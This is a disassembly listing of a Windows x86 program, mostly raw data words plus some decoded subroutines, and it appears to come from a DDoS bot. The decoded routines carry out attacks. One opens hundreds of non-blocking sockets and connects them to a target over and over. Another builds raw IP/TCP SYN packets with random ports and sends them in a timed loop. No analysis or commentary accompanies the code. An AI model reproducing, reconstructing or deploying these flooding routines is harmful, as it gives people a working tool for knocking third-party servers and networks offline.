		dd 0FF7BDCE8h, 575959FFh, 2DC50BE8h, 858D9002h,	0FFFFFE48h
		dd 4415FF50h, 83004C93h, 5575FFF8h, 0FC44858Dh,	9C68FFFFh
		dd 50004371h, 84EDE8h, 0DC7D3900h, 20755959h, 44858D57h
		dd 0FFFFFFFCh, 8D50D875h, 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h
		dd 0FF5D25E8h, 14C483FFh, 0FC44858Dh, 0E850FFFFh, 21A2h
		dd 0E8C875FFh, 0FFFF7B75h, 90575959h, 2DC4A3E8h, 8D106A02h
		dd 5057E445h, 81A7E8h, 0CC48300h, 0E445C766h, 0FF570002h
		dd 4C930415h, 45896600h, 48858DE6h, 50FFFFFEh, 934415FFh
		dd 358B004Ch, 4270B8h, 89E84589h, 0D6FF087Dh, 0FFF84589h
		dd 0F8452BD6h, 0E8B9D233h, 0F7000003h, 0D0453BF1h, 194870Fh
		dd 1C680000h, 0C6000004h, 4CC08005h, 15FF4500h,	4C9304h
		dd 66D47D39h, 4CC082A3h, 1D896600h, 4CC084h, 863D8966h
		dd 0C6004CC0h, 4CC08805h, 1D888000h, 4CC089h, 8A3D8966h
		dd 74004CC0h, 846CE830h, 0D88B0000h, 0E808E3C1h, 8462h
		dd 0E3C1D803h, 8458E808h, 0D8030000h, 0E808E3C1h, 844Eh
		dd 16AD803h, 0C08C1D89h, 0EB5B004Ch, 44B5FF18h,	0E8FFFFFEh
		dd 0FFFF6DCEh, 15FF5059h, 4C9344h, 4CC08CA3h, 0E8458B00h
		dd 4CC090A3h, 841CE800h, 0B9990000h, 100h, 1588F9F7h, 4CC094h
		dd 8409E8h, 0B99900h, 0F7000001h, 951588F9h, 0E8004CC0h
		dd 83F6h, 0F0B999h, 680000h, 0F7000004h, 3D8966F9h, 4CC096h
		dd 9A1D8966h, 42004CC0h, 98158966h, 0E8004CC0h,	83CEh
		dd 0FFB999h, 0F9F70000h, 0C09C6852h, 69E8004Ch,	83000080h
		dd 458D0CC4h, 50106AE4h, 41C6857h, 80680000h, 0FF004CC0h
		dd 15FFFC75h, 4C9368h, 74FFF883h, 845FF08h, 0FFFECAE9h
		dd 0FC75FFFFh, 939C15FFh, 15FF004Ch, 4C9298h, 48858D50h
		dd 0FFFFFFFEh, 68500875h, 437154h, 0FC44858Dh, 68FFFFh
		dd 50000002h, 83FFE8h, 18C48300h, 75DC7D39h, 858D5720h
		dd 0FFFFFC44h, 50D875FFh, 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h
		dd 5B3CE8FFh, 0C483FFFFh, 44858D14h, 50FFFFFCh,	1FB9E8h
		dd 0C875FF00h, 0FF798CE8h, 575959FFh, 0C2BAE890h, 75FF022Dh
		dd 9C15FFFCh, 8B004C93h, 0D2330845h, 8B3CC06Bh,	0AE8C1C8h
		dd 0C1D075F7h, 505114E9h, 0FE48858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFEC8h, 44858D50h, 68FFFFFCh, 437108h, 8280E850h
		dd 0C4830000h, 0DC7D391Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh
		dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0B7E8FFFFh, 83FFFF5Ah
		dd 858D14C4h, 0FFFFFC44h, 1F34E850h, 75FF0000h,	7907E8C8h
		dd 5959FFFFh, 35E89057h
; ---------------------------------------------------------------------------
		retn	22Dh
; ---------------------------------------------------------------------------
byte_413DCB	db 55h			; DATA XREF: sub_401AC7+547Do
		dd 20B8EC8Bh, 0E8000103h, 84C8h, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFEBCBDh, 6AA5F3FFh, 0B8895F01h, 120h
		dd 928C15FFh, 4589004Ch, 40858D08h, 50FFFFFFh, 934415FFh
		dd 0F08B004Ch, 0C033DB33h, 75FFFE83h, 40858D11h, 50FFFFFFh
		dd 938815FFh, 0C33B004Ch, 7D830674h, 5D75FF08h,	0FF40858Dh
		dd 8D50FFFFh, 0FFFCBC85h, 724468FFh, 0E8500043h, 81C2h
		dd 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh, 8D50D475h
		dd 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF59F9E8h, 14C483FFh
		dd 0FCBC858Dh, 0E850FFFFh, 1E76h, 0E8D075FFh, 0FFFF7849h
		dd 0E8575959h, 22DC178h, 74C33B90h, 0C408B0Ch, 8B008Bh
		dd 0EBFC4589h, 0FC758903h, 458D1C6Ah, 0E85053E0h, 7E68h
		dd 0FFE84D83h, 0FFDCB8h, 0CC48300h, 7EC44539h, 0C4458903h
		dd 7DC87D39h, 0C87D8903h, 5D39F633h, 0FF267EC0h, 458DC875h
		dd 501C6AE0h, 0E0858D53h, 0FFFFFEFCh, 0FF50C475h, 75FFFC75h
		dd 1C15FF08h, 46004C92h, 7CC0753Bh, 875FFDAh, 93BC15FFh
		dd 858D004Ch, 0FFFFFF40h, 0BC858D50h, 68FFFFFCh, 437218h
		dd 80F4E850h, 0C4830000h, 0D85D390Ch, 8D532075h, 0FFFCBC85h
		dd 0D475FFFFh, 0C0858D50h, 50FFFFFEh, 0FEBCB5FFh, 2BE8FFFFh
		dd 83FFFF59h, 858D14C4h, 0FFFFFCBCh, 1DA8E850h,	75FF0000h
		dd 777BE8D0h, 5959FFFFh, 0A9E89053h
		db 0C0h, 2Dh, 2
byte_413F57	db 55h			; DATA XREF: sub_401AC7+56C6o
		dd 10B8EC8Bh, 0E8000103h, 833Ch, 5308458Bh, 496A5756h
		dd 8D59F08Bh, 0FFFECCBDh, 6AA5F3FFh, 0B0895E01h, 120h
		dd 28C7A4E8h, 0E8509002h, 80CCh, 6A116A59h, 0FF026A02h
		dd 4C938415h, 33D88B00h, 8D106AFFh, 5057F045h, 7D67E8h
		dd 0CC48300h, 0FF50858Dh, 0C766FFFFh, 2F045h, 4415FF50h
		dd 83004C93h, 4589FFF8h, 8D757508h, 0FFFF5085h,	15FF50FFh
		dd 4C9388h, 5D75C73Bh, 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h
		dd 729868FFh, 0E8500043h, 8016h, 390CC483h, 2075E87Dh
		dd 0CC858D57h, 0FFFFFFFCh, 8D50E475h, 0FFFED085h, 0B5FF50FFh
		dd 0FFFFFECCh, 0FF584DE8h, 14C483FFh, 0FCCC858Dh, 0E850FFFFh
		dd 1CCAh, 0E8E075FFh, 0FFFF769Dh, 0E8565959h, 22DBFCCh
		dd 0C408B90h, 3EB008Bh,	8B08458Dh, 0DC7D3900h, 75F44589h
		dd 8014E811h, 0B9990000h, 0FFDCh, 5242F9F7h, 75FF03EBh
		dd 415FFDCh, 39004C93h,	8966DC75h, 37DF245h, 0B8DC7589h
		dd 0FFFFh, 7EDC4539h, 0DC458903h, 6AD0458Bh, 0F759990Ah
		dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h
		dd 7FC6h, 0FFB999h, 0F9F70000h,	0D4753B46h, 0EF359488h
		dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h,	458D5E0Bh
		dd 50106AF0h, 7F98E857h, 0A6A0000h, 0F9F75999h,	2BD4458Bh
		dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4C9368h, 90D875FFh
		dd 26C42EE8h, 0CE754E02h, 75DC7D39h, 7F68E8BCh,	0B9990000h
		dd 0FFDCh, 5242F9F7h, 930415FFh, 8966004Ch, 0A1EBF245h
		dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 726C68FFh, 0E8500043h
		dd 7EDEh, 390CC483h, 2075E87Dh,	0CC858D57h, 0FFFFFFFCh
		dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5715E8h
		dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh
		dd 0FFFF7565h, 90575959h, 2DBE93E8h
		db 2
byte_41416D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401AC7+4D0Fo
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h
		dd 72C068FFh, 0E8500043h, 7E46h, 0C483F633h, 0F8753918h
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 7BE8FFFFh, 83FFFF56h, 858D14C4h,	0FFFFFBECh
		dd 1AF8E850h, 75FF0000h, 74CBE8F0h, 5959FFFFh, 0BDFAE856h
		dd 5F90022Dh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414209	proc near		; CODE XREF: ___:004142F2p

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4C9304
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_4142C7
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_414254:				; CODE XREF: sub_414209+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41425C:				; CODE XREF: sub_414209+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41427F
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41427F:				; CODE XREF: sub_414209+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_41425C
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41428D:				; CODE XREF: sub_414209+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41428D
		push	64h
		nop
		call	near ptr 268051Bh
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142B1:				; CODE XREF: sub_414209+B4j
		push	dword ptr [esi]
		nop
		call	near ptr 71AB1A6Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142B1
		dec	[ebp+arg_4]
		jnz	short loc_414254
		pop	edi
		pop	esi
		pop	ebx


loc_4142C7:				; CODE XREF: sub_414209+3Ej
		xor	eax, eax
		leave
		retn
sub_414209	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8E4
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41BEF9
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BEF9
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414209
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414301
		push	1
		pop	eax


loc_414301:				; CODE XREF: ___:004142FCj
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414310	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401AC7+63A9o
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h
		dd 858D5000h, 0FFFFFBECh, 4372EC68h, 0A3E85000h, 3300007Ch
		dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh,	50F475FFh
		dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 54D8E8FFh, 0C483FFFFh
		dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF7328E8h
		dd 565959FFh, 0BC56E890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143AC	proc near		; CODE XREF: ___:0041469Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4C9274
		test	eax, eax
		jz	short loc_4143EC
		xor	eax, eax
		jmp	loc_41465A
; ---------------------------------------------------------------------------


loc_4143EC:				; CODE XREF: sub_4143AC+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4C93A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_414652
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4C92E4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414648
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4C9304
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4C9304
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4C9304
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4C9304
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27A0486h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27A018Bh
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DA20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_4144D7:				; CODE XREF: sub_4143AC+25Dj
					; sub_4143AC+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C062
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4C9304
		mov	[ebp+var_34], ax
		call	sub_41C062
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C062
		or	edi, eax
		push	edi
		call	dword_4C9304
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4C9300
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4C9304
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CAB0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BD10
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA53
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CAB0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4C9368
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41461C
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27A018Bh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414645
		jl	loc_4144D7
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414645
		jmp	loc_4144D7
; ---------------------------------------------------------------------------


loc_41461C:				; CODE XREF: sub_4143AC+247j
		call	dword_4C9298
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437314
		push	eax
		call	sub_41C006
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415CEE
		add	esp, 10h
		jmp	short loc_414648
; ---------------------------------------------------------------------------


loc_414645:				; CODE XREF: sub_4143AC+25Bj
					; sub_4143AC+269j
		mov	ebx, [ebp+arg_8]


loc_414648:				; CODE XREF: sub_4143AC+78j
					; sub_4143AC+297j
		push	[ebp+var_C]
		call	dword_4C939C
		pop	esi


loc_414652:				; CODE XREF: sub_4143AC+5Bj
		call	dword_4C925C
		mov	eax, ebx


loc_41465A:				; CODE XREF: sub_4143AC+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143AC	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8E4
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41BEF9
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41BEF9
		mov	edi, eax
		call	sub_41C062
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143AC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146A9
		push	1
		pop	eax


loc_4146A9:				; CODE XREF: ___:004146A4j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_4146B8	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401AC7+6D33o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7810E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4C9344h, 5BE850h
		dd 8D500000h, 0FFFC6C85h, 733468FFh, 0E8500043h, 78F6h
		dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh
		dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 2BE8FFFFh,	83FFFF51h
		dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h,	6F7BE8F0h
		dd 5959FFFFh, 0A9E89056h, 5F022DB8h, 0EC8B555Eh, 98EC81h
		dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh,	0A8658304h
		dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh,	0FFFF7C8Dh
		dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h
		dd 0Ch,	119445C7h, 0C7000000h, 169845h,	45C70000h, 299Ch
		dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h
		dd 0BC45C7h, 89000020h,	5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h
		dd 4D89D045h, 0BFABD8h,	57000001h, 8F3CE8h, 45895900h
		dd 0FF5057FCh, 4C931815h, 0FC75FF00h, 938815FFh, 408B004Ch
		dd 36A530Ch, 8B026Ah, 4589008Bh, 8415FFF4h, 8D004C93h
		dd 5156D84Dh, 6A026Ah, 0FC458950h, 92E415FFh, 0BE004Ch
		dd 56000002h, 745AE8h, 0B83D8B00h, 59004270h, 0FFF84589h
		dd 0F04589D7h, 6808458Bh, 29Ah,	0FF6C8589h, 0C766FFFFh
		dd 0FFFF6885h, 0FF0002FFh, 4C930415h, 85896600h, 0FFFFFF6Ah
		dd 452BD7FFh, 0B9D233F0h, 3E8h,	453BF1F7h, 0CF870F0Ch
		dd 0E8000000h, 77D2h, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h
		dd 18E2C100h, 5589D00Bh, 77B8E8F4h, 8B990000h, 89F9F7CBh
		dd 0ABE8AC55h, 99000077h, 1FA4B9h, 0DC45C600h, 0C6F9F745h
		dd 8904DD45h, 93E8D455h, 66000077h, 0E8E04589h,	778Ah
		dd 59990A6Ah, 8B66F9F7h, 50B09544h, 930415FFh, 6656004Ch
		dd 0FFE24589h, 4C930415h, 45896600h, 0E45D88DEh, 7761E8h
		dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h,	8BE54588h
		dd 4589F445h, 8458BE8h,	8DEC4589h, 0E850DC45h, 0FFFF612Bh
		dd 0E6458966h, 6ADC458Dh, 75FF5014h, 8176E8F8h,	0C4830000h
		dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh
		dd 4C936815h, 0FF1AE900h, 75FFFFFFh, 70CFE8F8h,	0FF590000h
		dd 15FFFC75h, 4C939Ch, 5F58016Ah, 0C3C95B5Eh
dword_414974	dd 81EC8B55h, 440ECh, 8458B00h,	6A575653h, 59F08B68h, 0FDC0BD8Dh
					; DATA XREF: sub_401AC7+534Ao
		dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh
		dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0B83D8BAAh
		dd 0FF004270h, 99E850D7h, 59000076h, 0FF68h, 6A036A00h
		dd 8415FF02h, 83004C93h, 4589FFF8h, 0FF6675FCh,	4C929815h
		dd 858D5000h, 0FFFFFBC0h, 43744C68h, 17E85000h,	83000076h
		dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 4E48E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF6C95h, 0E8535959h, 22DB5C4h, 0CC4D8D90h
		dd 6A51046Ah, 89505302h, 15FFCC75h, 4C92E4h, 75FFF883h
		dd 9815FF66h, 50004C92h, 0FBC0858Dh, 1468FFFFh,	50004374h
		dd 7599E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h
		dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h
		dd 0E8FFFFFDh, 0FFFF4DCAh, 8D14C483h, 0FFFBC085h, 47E850FFh
		dd 0FF000012h, 0FFFF44B5h, 6C17E8FFh, 5959FFFFh, 45E89053h
		dd 8D022DB5h, 0FFFDC485h, 15FF50FFh, 4C9344h, 75FFF883h
		dd 0C0858D5Eh, 68FFFFFBh, 4373F4h, 7528E850h, 9D390000h
		dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4D5Ah
		dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h
		dd 6BA7E8FFh, 5959FFFFh, 0D5E89053h, 6A022DB4h,	0BC458D10h
		dd 0D9E85053h, 83000071h, 0C7660CC4h, 2BC45h, 415FF53h
		dd 66004C93h, 8DBE4589h, 0FFFDC485h, 15FF50FFh,	4C9344h
		dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h
		dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h
		dd 0FF45D445h, 4C930415h, 509D3900h, 66FFFFFFh,	66D64589h
		dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h
		dd 74B4E82Dh, 0F08B0000h, 0E808E6C1h, 74AAh, 0E6C1F003h
		dd 74A0E808h, 0F0030000h, 0E808E6C1h, 7496h, 16AF003h
		dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF5E19E8h, 0FF5059FFh
		dd 4C934415h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh
		dd 63E81075h, 99000074h, 401B9h, 52F9F700h, 0B5FF06EBh
		dd 0FFFFFF48h, 930415FFh, 8966004Ch, 43E8EA45h,	99000074h
		dd 401B9h, 52F9F700h, 930415FFh, 7868004Ch, 66123456h
		dd 0FFE84589h, 4C930015h, 0EC458900h, 0FE44858Dh, 0D068FFFFh
		dd 500042B0h, 742FE8h, 0C0855900h, 89097459h, 45C6F05Dh
		dd 5CEB02F5h, 0FE44858Dh, 0EC68FFFFh, 500042AEh, 740FE8h
		dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h,	0FE44858Dh
		dd 0E468FFFFh, 500042AEh, 73EFE8h, 0C0855900h, 0E8257459h
		dd 73C6h, 5999036Ah, 5589F9F7h,	73B8E8F0h, 26A0000h, 0F9F75999h
		dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h
		dd 415FF50h, 66004C93h,	8BF64589h, 4589E045h, 0E4458B9Ch
		dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h,	6A545C6h
		dd 930415FFh, 8966004Ch, 458DA645h, 50206A9Ch, 0FF60858Dh
		dd 0E850FFFFh, 7DA8h, 6AE8458Dh, 458D5014h, 99E85080h
		dd 8D00007Dh, 0FFFF6085h, 50346AFFh, 0FF5D2EE8h, 458966FFh
		dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 75E850FFh, 8D00007Dh
		dd 146AE845h, 74858D50h, 50FFFFFFh, 7D63E8h, 8D046A00h
		dd 50538845h, 6FB7E8h, 44C48300h, 0FF60858Dh, 286AFFFFh
		dd 5CE9E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh
		dd 0E850FFFFh, 7D30h, 8D14C483h, 106ABC45h, 858D5350h
		dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4C9368h, 74FFF883h
		dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 939C15FFh,	15FF004Ch
		dd 4C9298h, 0C4858D50h,	0FFFFFFFDh, 68500875h, 4373A4h
		dd 0FBC0858Dh, 68FFFFh,	50000002h, 7327E8h, 18C48300h
		dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h
		dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4A5Eh
		dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h
		dd 68ABE8FFh, 5959FFFFh, 0D9E89053h, 0FF022DB1h, 15FFFC75h
		dd 4C939Ch, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah
		dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h
		dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 437354h, 719CE850h
		dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h,	0FFFFFBC0h
		dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h
		dd 0FF49CDE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah
